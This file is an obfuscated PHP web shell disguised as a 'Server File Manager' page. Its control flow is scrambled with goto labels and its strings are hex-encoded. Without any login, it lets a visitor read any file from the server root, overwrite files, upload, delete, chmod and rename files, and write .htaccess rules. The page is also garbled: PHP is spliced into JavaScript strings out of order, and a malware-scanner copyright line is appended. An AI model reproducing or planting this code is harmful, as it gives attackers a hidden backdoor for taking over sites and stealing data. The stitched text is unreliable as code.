var uploadModal=document.getElementById('uploadModal'),dropArea=document.getElementById('dropArea'),fileInput=document.getElementById('fileInput'),progressList=document.getElementById('progressList');
function openUpload(){uploadModal.style.display='flex';}function closeUpload(){uploadModal.style.display='none';progressList.innerHTML='';}
dropArea.addEventListener('click',()=>fileInput.click());fileInput.addEventListener('change',()=>handleFiles(fileInput.files));
['dragenter','dragover','dragleave','drop'].forEach(e=>{dropArea.addEventListener(e,ev=>{ev.preventDefault();ev.stopPropagation();},!1);});
dropArea.addEventListener('drop',e=>{handleFiles(e.dataTransfer.files);});
function handleFiles(fs){for(let i=0;i<fs.length;i++)uploadFile(fs[i]);}
function uploadFile(f){var r=document.createElement('div');r.className='progress-item';var n=document.createElement('div');n.style.width='220px';n.innerText=f.name;var b=document.createElement('div');b.className='progress-bar';var l=document.createElement('div');l.className='progress-fill';b.appendChild(l);var t=document.createElement('div');t.className='progress-text';t.innerText='0%';r.appendChild(n);r.appendChild(b);r.appendChild(t);progressList.appendChild(r);var x=new XMLHttpRequest(),d=new FormData();d.append('file[]',f);d.append('api','1');d.append('action','upload');d.append('target','goto SgvLL; oXQWg: function safe_real($path) { if ($path === '' || $path === null) { return false; } $real = realpath($path); return $real === false ? false : $real; } goto C99Jz; vc113: session_start(); goto tNB4Q; Q3XNP:
</span></div></div><table class="table"id="fileTable"><thead><tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>goto Rg2Sz; o37I9: $target = safe_real($rel) ?: ($rel === '' ? getcwd() : (safe_real(getcwd() . "\x2f" . $rel) ?: getcwd())); goto hC1vM; hLlqf: echo urlencode(dirname($target)); goto H5A1N; DQI0S: $action = $_REQUEST["\141\x63\164\x69\x6f\156"] ?? "\154\151\x73\x74"; goto V8GYQ; bNxAy:
"class="btn">🏠Root Folder</a></div></div>goto i7G5Q; LjisL: echo esc($target); goto kGv63; Rg2Sz: $q = $_GET["\x71"] ?? ''; goto tLigm; znEKx: echo esc(get_current_user()); goto Q3XNP; TMgOy: error_reporting(E_ALL & ~E_NOTICE); goto qda1r; q8BDI: function json_out($d) { header("\103\157\x6e\164\x65\x6e\x74\x2d\124\171\x70\x65\x3a\40\141\x70\160\x6c\151\143\x61\x74\x69\157\156\x2f\152\163\157\156\x3b\40\143\150\141\162\x73\x65\x74\x3d\x75\164\146\55\x38"); echo json_encode($d); die; } goto oXQWg; hC1vM: if ($target === false) { $target = getcwd(); } goto Bnie2; tNB4Q: function esc($s) { return htmlspecialchars((string) $s, ENT_QUOTES, "\125\x54\x46\55\70"); } goto q8BDI; ieygF: $flash = get_flash(); goto hABJ2; SgvLL: echo esc($target); goto UCGdW; S3miV: function get_flash() { $m = $_SESSION["\x66\x6d\137\x66\154\x61\x73\x68"] ?? ''; unset($_SESSION["\146\x6d\137\146\x6c\x61\x73\150"]); return $m; } goto DQI0S; qda1r: $ROOT = realpath("\x2f"); goto exDgF; O8w8a:
</div><div class="small">User: <span class="small">goto znEKx; V8GYQ: if (isset($_GET["\141\x70\x69"]) || isset($_POST["\x61\160\151"])) { if ($action === "\x67\x65\164\x66\151\154\145" && isset($_GET["\x66\x75\x6c\x6c\x70\141\164\x68"])) { $full = safe_real($_GET["\x66\x75\154\x6c\160\141\x74\150"]); if ($full && is_file($full)) { header("\103\157\156\x74\145\x6e\164\55\124\x79\160\x65\x3a\x20\164\145\170\164\x2f\x70\x6c\141\x69\x6e\73\40\143\150\x61\x72\163\x65\x74\75\x75\x74\146\x2d\70"); echo file_get_contents($full); die; } else { http_response_code(404); echo "\116\157\164\40\x66\x6f\165\156\144"; die; } } if ($action === "\x73\141\x76\x65\x66\x69\154\x65" && isset($_POST["\x66\x75\154\x6c\x70\x61\x74\x68"]) && isset($_POST["\x63\x6f\156\164\145\156\x74"])) { $full = safe_real($_POST["\146\x75\154\x6c\160\x61\164\150"]); if ($full === false) { json_out(array("\x6f\x6b" => false, "\x65\x72\x72\157\x72" => "\151\156\166\141\154\151\144\x20\x70\x61\164\150")); } if (is_writable($full) || is_writable(dirname($full))) { $ok = file_put_contents($full, $_POST["\x63\157\x6e\x74\x65\156\x74"]) !== false; json_out(array("\157\x6b" => $ok)); } else { json_out(array("\157\x6b" => false, "\x65\162\x72\x6f\x72" => "\156\x6f\x20\x77\162\151\164\x65\x20\160\145\162\155\151\x73\163\151\x6f\x6e")); } } if ($action === "\x75\160\x6c\157\x61\x64" && !empty($_FILES)) { $results = array(); $target = $_GET["\164\141\x72\x67\x65\164"] ?? $_POST["\x74\141\162\x67\145\164"] ?? ''; $targetReal = safe_real($target) ?: $target; if ($targetReal === '' || !is_dir($targetReal)) { $targetReal = getcwd(); } foreach ($_FILES as $field) { if (is_array($field["\x6e\x61\155\x65"])) { for ($i = 0; $i < count($field["\156\x61\155\145"]); $i++) { $name = basename($field["\x6e\141\155\x65"][$i]); $tmp = $field["\x74\x6d\x70\x5f\x6e\141\155\x65"][$i]; $full = rtrim($targetReal, "\57") . "\x2f" . $name; $ok = false; if ($tmp && is_uploaded_file($tmp)) { $ok = move_uploaded_file($tmp, $full); } $results[] = array("\156\x61\155\145" => $name, "\157\x6b" => $ok, "\160\x61\164\150" => $full); } } else { $name = basename($field["\x6e\141\x6d\145"]); $tmp = $field["\164\x6d\160\x5f\x6e\x61\x6d\145"]; $full = rtrim($targetReal, "\x2f") . "\x2f" . $name; $ok = false; if ($tmp && is_uploaded_file($tmp)) { $ok = move_uploaded_file($tmp, $full); } $results[] = array("\x6e\141\155\145" => $name, "\157\153" => $ok, "\x70\141\164\x68" => $full); } } json_out(array("\157\x6b" => true, "\162\145\163\165\154\x74\163" => $results)); } if ($action === "\144\x65\154\145\x74\145" && isset($_POST["\x66\x75\154\x6c\x70\x61\164\150"])) { $full = safe_real($_POST["\x66\165\x6c\154\x70\x61\164\x68"]); if ($full === false) { json_out(array("\x6f\153" => false, "\x65\x72\162\157\162" => "\151\156\166\141\154\x69\x64")); } if (!file_exists($full)) { json_out(array("\157\x6b" => false, "\x65\162\x72\x6f\162" => "\156\x6f\164\x20\145\x78\x69\x73\164\163")); } if (is_dir($full)) { $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST); foreach ($it as $item) { $item->isDir() ? rmdir($item->getRealPath()) : unlink($item->getRealPath()); } $ok = rmdir($full); } else { $ok = unlink($full); } json_out(array("\157\153" => $ok)); } if ($action === "\143\x68\x6d\x6f\144" && isset($_POST["\146\165\154\x6c\160\141\x74\x68"]) && isset($_POST["\x6d\x6f\144\x65"])) { $full = safe_real($_POST["\146\165\x6c\x6c\x70\x61\x74\150"]); $mode = intval($_POST["\155\x6f\144\145"], 8); $ok = @chmod($full, $mode); json_out(array("\x6f\x6b" => $ok)); } if ($action === "\x6d\153\x64\151\162" && isset($_POST["\144\x69\162\160\x61\x74\150"]) && isset($_POST["\x6e\141\x6d\x65"])) { $base = safe_real($_POST["\x64\151\x72\160\141\x74\150"]) ?: $_POST["\144\x69\162\160\x61\x74\150"]; $name = basename($_POST["\156\x61\155\145"]); $full = rtrim($base, "\x2f") . "\57" . $name; $ok = @mkdir($full, 493); json_out(array("\x6f\153" => $ok, "\160\141\x74\x68" => $full)); } if ($action === "\x72\x65\156\141\155\145" && isset($_POST["\146\165\x6c\x6c\x70\x61\164\150"]) && isset($_POST["\x6e\145\167\156\141\155\145"])) { $full = safe_real($_POST["\146\x75\154\154\x70\x61\x74\150"]); $new = basename($_POST["\156\145\167\x6e\x61\155\145"]); $to = dirname($full) . "\57" . $new; $ok = @rename($full, $to); json_out(array("\157\x6b" => $ok, "\x74\x6f" => $to)); } if ($action === "\x67\x65\156\137\x68\x74\141\x63\143\x65\163\163" && isset($_POST["\144\151\162\160\141\164\x68"])) { $dir = safe_real($_POST["\x64\x69\x72\160\141\x74\150"]) ?: getcwd(); $full = rtrim($dir, "\x2f") . "\x2f\56\x68\164\141\x63\x63\145\x73\163"; $content = "\x52\x65\167\162\x69\164\x65\x45\x6e\x67\x69\156\x65\40\x4f\x6e\12\x52\x65\x77\162\151\x74\145\x42\141\x73\145\40\57\xa\xa\x52\145\x77\x72\x69\164\145\x43\157\156\x64\40\x25\x7b\122\x45\x51\125\105\x53\124\137\x46\x49\x4c\x45\116\101\x4d\105\175\x20\x21\x2d\x64\xa\x52\x65\x77\x72\x69\164\x65\103\x6f\x6e\x64\40\45\x7b\122\x45\x51\125\x45\123\x54\x5f\106\x49\114\x45\116\101\x4d\x45\x7d\x20\41\x2d\x66\xa\122\x65\x77\162\x69\164\145\x52\165\154\145\x20\136\x28\x2e\x2a\51\x24\x20\151\x6e\144\145\170\x2e\160\150\160\40\x5b\114\x5d"; $ok = @file_put_contents($full, $content) !== false; json_out(array("\x6f\153" => $ok)); } if ($action === "\147\x65\x6e\137\162\157\x62\157\x74\x73" && isset($_POST["\x64\151\x72\160\141\164\150"])) { $dir = safe_real($_POST["\144\x69\162\x70\x61\164\x68"]) ?: getcwd(); $full = rtrim($dir, "\57") . "\57\162\x6f\142\157\164\163\56\x74\x78\x74"; $protocol = !empty($_SERVER["\x48\124\124\120\123"]) && $_SERVER["\110\124\x54\120\x53"] !== "\157\x66\146" || $_SERVER["\x53\x45\122\x56\x45\122\137\120\117\x52\x54"] == 443 ? "\x68\164\164\x70\163\72\57\57" : "\x68\x74\164\x70\72\x2f\57"; $domain = $protocol . ($_SERVER["\110\124\124\120\137\x48\x4f\123\124"] ?? "\154\157\143\x61\x6c\x68\x6f\x73\164"); $content = "\x55\x73\145\162\55\x61\147\145\156\x74\72\40\52\12\x41\x6c\154\x6f\x77\72\40\x2f\xa\x53\151\164\145\x6d\141\x70\72\40{$domain}\57\x73\151\164\145\155\x61\x70\x2e\x78\155\x6c"; $ok = @file_put_contents($full, $content) !== false; json_out(array("\157\153" => $ok)); } json_out(array("\157\x6b" => false, "\x65\162\x72\157\162" => "\x75\x6e\x6b\x6e\157\167\156\40\141\160\x69")); } goto OFz3O; tLigm: foreach ($files as $f) { if ($q !== '' && stripos($f["\156\x61\x6d\145"], $q) === false) { continue; }
<tr><td style="width:40%">if ($f["\151\163\x5f\144\x69\162"]) {
<a href="?path=echo urlencode($f["\160\141\164\150"]);
"class="small link"style="font-weight:700;color:#2563eb;text-decoration:none">📁echo esc($f["\156\x61\x6d\x65"]);
</a>} else {
<a href="javascript:void(0)"style="color:#0f172a;text-decoration:none"onclick='openEditor("echo rawurlencode($f["\x70\x61\x74\150"]);
")'>📄echo esc($f["\x6e\x61\155\x65"]);
</a>}
</td><td>echo $f["\151\163\x5f\x64\151\x72"] ? "\x44\151\162" : "\106\151\154\145";
</td><td>echo $f["\151\163\x5f\144\x69\x72"] ? "\x2d" : human_size($f["\163\151\x7a\145"]);
</td><td>echo date("\x59\x2d\x6d\55\144\40\110\72\151\72\163", $f["\x6d\164\151\x6d\145"]);
</td><td>echo esc($f["\160\145\x72\x6d"]);
</td><td class="actions">if ($f["\x69\163\137\144\151\x72"]) {
<a href="?path=echo urlencode($f["\160\x61\164\150"]);
"class="btn">📂</a>} else {
<a href="?action=download&path=echo urlencode($target);
&file=echo urlencode($f["\156\141\155\145"]);
"class="btn">⬇</a> <button class="btn primary"onclick='openEditor("echo rawurlencode($f["\160\x61\x74\150"]);
")'>📝</button>}
<button class="btn"onclick='doDelete("echo rawurlencode($f["\x70\x61\x74\x68"]);
")'>❌</button> <button class="btn"onclick='doRename("echo rawurlencode($f["\x70\141\x74\x68"]);
")'>✏️</button> <button class="btn"onclick='doChmod("echo rawurlencode($f["\160\x61\164\x68"]);
")'>🔐</button></td></tr>} goto oRpHt; EDIw_: echo esc($target); goto UCI6_; o2glg: echo esc($target); goto O8w8a; exDgF: if ($ROOT === false) { $ROOT = realpath(__DIR__); } goto vc113; UCI6_:
"type="hidden"><input name="q"value="goto WCibh; kGv63:
');d.append('name',n);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Created',!0);setTimeout(()=>location.reload(),700);}else showFlash('Create failed',!1);});}
function doGenFile(t){var d=new FormData();d.append('api','1');d.append('action',t==='htaccess'?'gen_htaccess':'gen_robots');d.append('dirpath','goto PvUn1; EIzOw:
"class="input"placeholder="Search"><button class="btn"type="submit">Search</button></form><button class="btn"onclick="openUpload()">Upload</button><button class="btn"onclick='doGenFile("htaccess")'>Gen .htaccess</button><button class="btn"onclick='doGenFile("robots")'>Gen robots.txt</button><a href="?path=goto hLlqf; Y4aRQ: ini_set("\144\x69\x73\x70\154\x61\x79\x5f\x65\x72\x72\x6f\162\163", 0); goto TMgOy; Bnie2: $files = list_dir_sorted($target); goto ieygF; H5A1N:
"class="btn">⬆️Parent</a><a href="goto ZqQyP; B01Of:
<div class="pathbar"><div class="small">Current Path</div><div style="font-family:monospace;flex:1;color:#0f172a">goto o2glg; PvUn1: echo esc($target); goto rTuPl; uLKc5: function set_flash($m) { $_SESSION["\146\155\137\x66\154\141\x73\150"] = $m; } goto S3miV; WCibh: echo esc($_GET["\x71"] ?? ''); goto EIzOw; UCGdW:
');x.open('POST','?',!0);x.upload.addEventListener('progress',e=>{if(e.lengthComputable){var p=Math.round(e.loaded/e.total*100);l.style.width=p+'%';t.innerText=p+'%';}});x.onreadystatechange=function(){if(x.readyState===4){if(x.status===200){try{var s=JSON.parse(x.responseText);if(s.ok){t.innerText='Done';showFlash('Upload complete',!0);setTimeout(()=>location.reload(),800);}else{t.innerText='Failed';showFlash('Upload failed',!1);}}catch(e){t.innerText='Done';setTimeout(()=>location.reload(),800);}}else{t.innerText='Failed';showFlash('Upload failed',!1);}}};x.send(d);}
function doDelete(e){var f=decodeURIComponent(e);if(!confirm('Permanently delete: '+f+' ?'))return;var d=new FormData();d.append('api','1');d.append('action','delete');d.append('fullpath',f);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Deleted',!0);setTimeout(()=>location.reload(),700);}else showFlash('Delete failed',!1);});}
function doRename(e){var f=decodeURIComponent(e),n=prompt('New name',f.split('/').pop());if(!n)return;var d=new FormData();d.append('api','1');d.append('action','rename');d.append('fullpath',f);d.append('newname',n);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Renamed',!0);setTimeout(()=>location.reload(),700);}else showFlash('Rename failed',!1);});}
function doChmod(e){var f=decodeURIComponent(e),m=prompt('Octal perms','0644');if(!m)return;var d=new FormData();d.append('api','1');d.append('action','chmod');d.append('fullpath',f);d.append('mode',m);fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Chmod updated',!0);setTimeout(()=>location.reload(),700);}else showFlash('Chmod failed',!1);});}
function doMkdir(){var n=prompt('Folder name');if(!n)return;var d=new FormData();d.append('api','1');d.append('action','mkdir');d.append('dirpath','goto LjisL; hABJ2:
<!doctypehtml><html lang="en"><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Server File Manager</title><style>:root{--bg:#f8fafc;--card:#fff;--accent:#2563eb;--muted:#64748b}body{margin:0;font-family:Inter,Segoe UI,Roboto,Arial,sans-serif;background:var(--bg);color:#0f172a}.container{max-width:1200px;margin:24px auto;padding:18px}.header{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-bottom:12px}.brand{display:flex;align-items:center;gap:12px}.logo{width:56px;height:56px;border-radius:12px;background:#e2e8f0;display:flex;align-items:center;justify-content:center;font-weight:800;color:var(--accent);box-shadow:0 8px 15px rgba(0,0,0,.05)}.title{font-size:20px;font-weight:700}.controls{display:flex;gap:8px;align-items:center}.btn{padding:8px 12px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#334155;cursor:pointer;text-decoration:none}.btn.primary{background:var(--accent);color:#fff;border:none}.input{padding:8px;border-radius:8px;border:1px solid #cbd5e1;background:#fff;color:#0f172a}.pathbar{margin-top:8px;padding:10px;border-radius:8px;background:#fff;border:1px solid #e2e8f0;font-size:13px;color:var(--muted);display:flex;align-items:center;gap:8px;flex-wrap:wrap}.flash{margin-bottom:12px;padding:10px;border-radius:8px;background:#dcfce7;border-left:4px solid #22c55e;color:#166534}.table{width:100%;border-collapse:collapse;margin-top:12px;border-radius:10px;overflow:hidden}.table th{background:#f1f5f9;text-align:left;padding:12px;font-weight:700;color:#334155;border-bottom:1px solid #e2e8f0}.table td{padding:12px;border-bottom:1px solid #e2e8f0;vertical-align:middle;color:#0f172a}.small{font-size:12px;color:var(--muted)}.actions a,.actions button{display:inline-block;margin-right:6px}.footer{margin-top:18px;color:var(--muted);font-size:13px}.modal{position:fixed;left:0;top:0;width:100%;height:100%;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.4);z-index:999}.modal .box{width:720px;background:#fff;padding:18px;border-radius:10px;border:1px solid #e2e8f0;box-shadow:0 20px 25px -5px rgba(0,0,0,.1)}.drop{border:2px dashed #cbd5e1;padding:24px;border-radius:8px;text-align:center;color:var(--muted);cursor:pointer;background:#f8fafc}.progress-list{margin-top:12px}.progress-item{display:flex;align-items:center;gap:12px;margin-top:8px}.progress-bar{flex:1;height:10px;background:#e2e8f0;border-radius:6px;overflow:hidden}.progress-fill{height:100%;background:var(--accent);width:0%}.progress-text{width:120px;text-align:right;font-size:12px;color:var(--muted)}.editor-modal .box{width:90%;max-width:1100px}.editor-header{display:flex;justify-content:space-between;align-items:center;gap:8px;margin-bottom:8px}textarea{width:100%;height:60vh;background:#f8fafc;color:#0f172a;border:1px solid #cbd5e1;padding:12px;border-radius:8px;font-family:monospace}a.link{color:var(--accent);text-decoration:none}</style></head><body><div class="container"><div class="header"><div class="brand"><div class="logo">SYS</div><div><div class="title">Server File Manager</div></div></div><div class="controls"><form style="display:flex;gap:8px;align-items:center"><input name="path"value="goto EDIw_; NxFxq: function human_size($n) { if ($n > 1024 * 1024) { return round($n / 1024 / 1024, 2) . "\x20\115\102"; } if ($n > 1024) { return round($n / 1024, 2) . "\40\x4b\102"; } return $n . "\x20\102"; } goto uLKc5; OFz3O: $rel = $_GET["\x70\x61\164\x68"] ?? ''; goto o37I9; i7G5Q: if ($flash) {
<div class="flash"id="flash">echo esc($flash);
</div>} else {
<div class="flash"id="flash"style="display:none"></div>} goto B01Of; ZqQyP: echo esc($_SERVER["\120\110\x50\137\x53\105\x4c\106"]); goto bNxAy; rTuPl:
');fetch('',{method:'POST',body:d}).then(r=>r.json()).then(d=>{if(d.ok){showFlash('Generated!',!0);setTimeout(()=>location.reload(),700);}else showFlash('Generation failed',!1);}).catch(e=>{showFlash('Network error',!1);});}</script></body></htm
© 2023 Quttera Ltd. All rights reserved.